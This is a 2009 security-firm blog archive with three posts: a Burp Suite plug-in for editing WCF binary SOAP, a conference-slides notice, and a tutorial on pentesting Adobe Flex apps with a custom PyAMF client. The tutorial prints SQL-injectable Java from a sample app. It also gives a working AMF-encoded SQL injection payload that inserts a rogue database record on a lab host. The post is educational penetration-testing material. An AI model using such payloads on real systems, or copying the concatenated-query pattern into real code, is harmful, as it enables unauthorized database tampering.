Archive for November, 2009

Nov 19 2009

WCF Binary Soap Plug-In for Burp

Published by Brian Holyfield under Application Security, Tools

Update 2010:  With the official release of Burp Suite v1.3, both plug-ins discussed in this post can be used with either Pro or Free versions of Burp.

If you run into a Silverlight application that consumes WCF, there’s a good chance it will use Binary XML Message Encoding to send data between the Silverlight client and the WCF endpoint. These messages usually include a Content-Type: application/soap+msbin1 header to indicate that they are using Microsoft’s .NET Binary Format for SOAP (NBFS). From an attack perspective, the main problem with this encoding format is that you can’t simply edit requests or responses on-the-fly like you would with text-based SOAP messages, since the recipient of the message expects the data to be properly encoded (otherwise it will throw an exception) and, as such, will throw an exception if it’s not.

My initial research into what security tools support NBFS didn’t turn up much. The only option I found were two WCF Binary Inspectors for Fiddler (one here written by Richard Berg, and another here written by Samuel Jack). Both of these inspectors are essentially plug-ins for Fiddler that add support to view NBFS encoded data. Originally these both looked like the solution I was after, however upon further analysis I realized that while those plug-ins let you VIEW encoded messages, they don’t let you EDIT them. I decided it would be a worthwhile effort to try and leverage the plug-in architecture of Burp Suite (through use of the BurpExtender interface) to write a NBFS plug-in for Burp.

The Solution (sort of)
Not wanting to re-invent the wheel, I figured I would leverage the work that had already been done with Fiddler by calling into one of the existing Fiddler libraries from Burp. I chose to use Richard Berg’s code since it looks like it can be ported entirely to Java down the road if needed (it doesn’t rely on WCF’s built-in decoder). Luckily for me, his code also had all of the methods needed to both encode and decode message data.

The way the plug-in works is pretty simple…when a request comes in, the processProxyMessage method of BurpExtender is used to check whether the requests should be decoded and, if so, passes the request data to the C# library. The C# library decodes the message and returns the plain-text version back to Burp. As requests exit Burp, the processHttpMessage method of BurpExtender is used to determine whether the request needs to be re-encoded and, if so, calls into the C# library again.

There are a couple of interesting points to note here:

  • The processHttpMessage of BurpExtender is currently only supported in the Professional version of Burp Suite. It is my understanding that this method will be supported in the Free version starting with the next release (v1.3) but for now only licensed users of Burp pro have access to this extender method.
  • Both the processProxyMessage AND processHttpMessage methods of BurpExtender alway fire BEFORE a response can be edited by the user. Unfortunately this precludes the Plug-in from being able to re-encode RESPONSE messages should the user want to edit one.

What this means is that you’ll need to resort to the proxy chaining as a workaround for this if you use the Burp Free Edition (explained in more detail below). Additionally, even if you use Burp Professional Edition, you’ll need to use this workaround if you want to edit RESPONSE data (REQUEST data can be edited on the fly with a single instance of Burp Professional).

Plug-In Versions
There are two version of the Burp plug-in available:

Burp Professional Edition Plug-in: Allows binary requests to be edited on the fly. This version does not support editing of response data. Pro users can use the Free Edition Plug-in with Burp Professional for editing response data.

Burp Universal Plug-in: The Universal Plug-in works with both Free and Professional Editions of Burp and supports editing of binary REQUESTS and RESPONSES. The caveat to using this version of the plug-in is that you’ll need to chain two burp instances together as outlined in the diagram below for the plugin to work properly.

The purpose of chaining two proxies together is as follows:

  • The first instance handles decoding requests, intercepting (and editing) requests, and re-encoding edited responses. Set this instance to intercept REQUESTS only (not responses) and to use the 2nd proxy as the next hop.
  • The second instance handles re-encoding edited requests, decoding responses, and intercepting (and editing) responses. Set this instance to intercept RESPONSES only (not requests).

Each proxy will add or remove a custom header (X-WCF-Proxy: must-encode) to edited requests/responses which they use to notify each other of whether re-encoding of a message is necessary. This custom header is removed when read by the plug-in, so it shouldn’t ever get disclosed to the target system.

Albeit it slightly crude, I didn’t see much in the way of a better work around (I am certainly open to suggestions if anyone has any). It should be noted that this workaround is ONLY necessary if you are using the Free Edition (1.2.x) of Burp Suite OR if you want to want to edit WCF binary response content using Burp Professional Edition. Editing WCF binary request data is supported with a single instance of the Burp Professional Plug-In.

Next Steps
These plug-ins were created as a proof of concept for the talk at OWASP AppSec DC 2009. Looking forward, the C# decoding library should easily port to pure Java since it doesn’t make use of the native WCF decoding classes. This would not only eliminate cross-language calls but would also make the plug-in platform independent (since the implementation would be in pure Java). The drawback to this approach, of course, is that we would be using a home grown decoder for a proprietary Microsoft protocol that could change down the road.

In any case, hopefully the plug-ins will be useful in the short term until more security tools include native support for NBFS messages. You can find both versions of the plug-in available for free on our tools page.

No responses yet

Nov 19 2009

Slides from AppSec DC Posted

Published by Brian Holyfield under Application Security, Tools

Slides from the “Attacking WCF Web Services” talk I presented last week at OWASP AppSec DC 2009 are now available for download.  We’ve also released the WCF Binary Soap Plug-In for Burp that was demonstrated during the presentation.  There will be a separate blog post dedicated to this plug-in published later today, so I definitely recommend reading it to get the full scoop on what it does and how to use it.

Overall, the conference was great.  Aside from the presentations, the highlight for me was when we ran into Jason Alexander (aka George Costanza) at dinner on Thursday night.  These pretzels are making me thirsty!!

 

No responses yet

Nov 11 2009

Pentesting Adobe Flex Applications with a Custom AMF Client

Published by Marcin Wielgoszewski under Application Security

At GDS, we’ve seen an increase over the past few months in the number of applications using Adobe Flex at the presentation layer. Vulnerabilities in Flash aside (i.e., Dowd [PDF]), this technology often presents an obstacle for security testers, especially if the application uses ActionScript Message Format (AMF) to send data across the wire. The AMF specification [PDF], has been implemented in various languages, including Java, Python, PHP, and Ruby. While there are tools out there like Burp and Deblaze which let you manipulate AMF requests, there are certain scenarios where you might want to build your own custom client for testing with AMF. Being a Python fan myself, let’s walk through the process of using the PyAMF library to quickly write a custom AMF test client.

Adobe provides several turnkey BlazeDS applications to get developers started with Flex, allowing them to use existing Java backend application logic (courtesy BlazeDS). After downloading the examples, I poked around some of the code and immediately stumbled into a textbook SQL injection vulnerability in the EmployeDAO.java class (code snippet below). This vulnerable application will serve as a perfect example for my custom test client.

 
public class EmployeeDAO {
..snip..

public List findEmployeesByName(String name) throws DAOException
    List list = new ArrayList();
    Connection c = null;
    try {
        c = ConnectionHelper.getConnection();
        Statement s = c.createStatement();
        ResultSet rs = s.executeQuery("SELECT * FROM employee WHERE
            first_name LIKE '%" + name + "%' OR
            last_name LIKE '%" + name + "%' ORDER BY last_name");
        Employee employee;
        while (rs.next())
        ..snip..
 

To exploit this, we will write a client that can make requests to the remoting destination. In Python, we construct an AMF request like so using the pyamf.flex.messaging.RemotingMessage class:

 
request = RemotingMessage(operation="findEmployeesByName",
                          destination="runtime-employee-ro",
                          messageID=str(uuid.uuid4()).upper(),
                          body=['Marcin'],
                          clientId=None,
                          headers={'DSId': str(uuid.uuid4()).upper(),
                                   'DSEndpoint': 'my-amf',},
                         )
 

Then, we wrap our request in an AMF envelope:

 

envelope = pyamf.remoting.Envelope(amfVersion=3)
envelope["/%d" % 1] = pyamf.remoting.Request(u'null', [request])
 

Afterwards, we need to encode our Request Envelope in AMF using pyamf.remoting.encode().

 

message = pyamf.remoting.encode(envelope)
 

Using httplib, we can send and receive HTTP requests with Python, containing our AMF encoded request in the body. We also set the Content-Type to “application/x-amf”, to specify the request is encoded in AMF, versus say, application/x-www-form-urlencoded.

 

conn = httplib.HTTPConnection(hostname, port)
conn.request('POST', path, message.getvalue(),
             headers={'Content-Type': 'application/x-amf'})
 

Across the wire, this request looks like:

 

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Type: application/x-amf
Content-Length: 312

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\rMarcin\x01\x06'runtime-employee-ro
\n\x0b\x01\tDSId\x06I7F172AA9-9172-4EE4-A6FA-A09A5C961196\x15DSEndpoint
\x06\rmy-amf\x01\x06ID246131C-F453-47C5-A55C-A6EE822D7BF0\x06'
findEmployeesByName\x01\x01\x01
 

Following, retrieve the response from our connection object, and use pyamf.remoting.decode() to decode and print the content.

 

response = conn.getresponse()
content = response.read()

content = pyamf.remoting.decode(content)

print content
# -----------

<Envelope amfVersion=3>
 (u'/1', <Request target=u'null'>[<RemotingMessage  body=[u'Marcin']
 source=None timestamp=None destination=u'runtime-employee-ro'
 clientId=None headers={'DSId': u'7F172AA9-9172-4EE4-A6FA-A09A5C961196',
 'DSEndpoint': u'my-amf'} timeToLive=None messageId=u'D246131C-F453-47C5-
 A55C-A6EE822D7BF0' operation=u'findEmployeesByName' />]</Request>)
</Envelope>
 

Querying the findEmployeesByName method and injecting a single quote causes a java.sql.SQLException error to be thrown.

 

faultString=u'flex.samples.DAOException : java.sql.SQLException: Unexpected
token: % in statement [%]'
 

To exploit this, perform a SQL injection like any other; I’ll insert a record of my own into the database:

 

POST /samples/messagebroker/amf HTTP/1.1
Host: 172.16.247.130:8400
Accept-Encoding: identity
Content-Length: 412
Content-Type: application/x-amf

\x00\x03\x00\x00\x00\x01\x00\x04null\x00\x02/1\x00\x00\x00\x00\n\x00\x00
\x00\x01\x11\n\x81\x13Oflex.messaging.messages.RemotingMessage\tbody\x11
clientId\x17destination\x0fheaders\x13messageId\x13operation\rsource\x15
timeToLive\x13timestamp\t\x03\x01\x06\x81S\\';INSERT INTO employee
(first_name, last_name, title) VALUES ('Marcin', 'Wielgoszewski', 'Rogue
CEO');--\x01\x06'runtime-employee-ro\n\x0b\x01\tDSId\x06I359E2429-9CD6-
423C-AF3D-4BD3DC4E40F3\x15DSEndpoint\x06\rmy-amf\x01\x06IBE9315A6-A7F6-
42CE-A338-23D703573207\x06'findEmployeesByName\x01\x01\x01
 

The response did not contain anything in the body, which usually is a good indicator the SQL had processed without error. Calling the findEmployeesByName method once more, with Marcin as a parameter value, returns the following data:

 

<flex.messaging.io.ArrayCollection [{'employeeId': 13, 'firstName': u'Marcin',
'title': u'Rogue CEO', 'lastName': u'Wielgoszewski', 'company': None,
'phone': None, 'email': None}]>
 

In summary, this blog post aims to demonstrate how pen testers can leverage the PyAMF library to quickly write a custom AMF test client in Python. As an interesting side note, the only method called from the client-side Flex code in the sample application is getEmployees (with no parameters). Only after reviewing the code would one see what methods are actually available to call. So even though the findEmployeesByName method was not used by the Flex application, it is vulnerable to SQL injection!

During an assessment, it’s critical that you identify all the service and method endpoints called by the application, and to also review the source code for potentially hidden methods. If you’re operating from a strictly BlackBox perspective, you should always decompile the SWF using a tool like SWFScan, and grep for RemoteObject and AMFChannel as a relatively good way to identify remoting methods. The DeBlaze tool can also performs remote service and method enumeration, which can help you identify other services and methods that aren’t exposed in the application SWF.

In my next post, I’ll show how you can reverse and create custom objects using Python and PyAMF for advanced penetration testing of Adobe Flex applications. Thanks to Adobe for providing a nice sample BlazeDS application, complete with SQL injection :)

5 responses so far